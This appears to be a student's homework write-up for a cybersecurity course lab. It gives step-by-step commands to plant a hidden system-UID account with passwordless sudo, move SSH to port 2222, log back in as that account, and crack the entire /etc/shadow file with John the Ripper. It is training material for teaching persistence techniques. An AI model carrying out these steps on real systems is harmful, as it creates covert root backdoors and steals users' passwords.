**Homework for Module 6**

**George W. Brimer**

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

useradd --no-create-home sysd

1. Give your secret user a password:

passwd sysd (passw0rd!)

1. Give your secret user a system UID < 1000:

usermod -u 278 sysd

1. Give your secret user the same GID:

groupmod -g 278 sysd

1. Give your secret user full sudo access without the need for a password:

visudo

sysd ALL=(ALL:ALL) NOPASSWD:ALL

1. Test that sudo access works without your password:

su sysd

sudo -l

**Step 2: Smooth Sailing**

nano vi /etc/ssh/sshd\_config

change Port 22 to Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

systemctl restart sshd

1. Exit the root account:

exit x2

1. SSH to the target machine using your sysd account and port 2222:

ssh sysd@192.168.6.105 -p 2222

1. Use sudo to switch to the root user:

sudo su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:

ssh sysd@192.168.6.105 -p 2222

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

sudo su

john /etc/shadow

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generatedA screenshot of a computer

Description automatically generated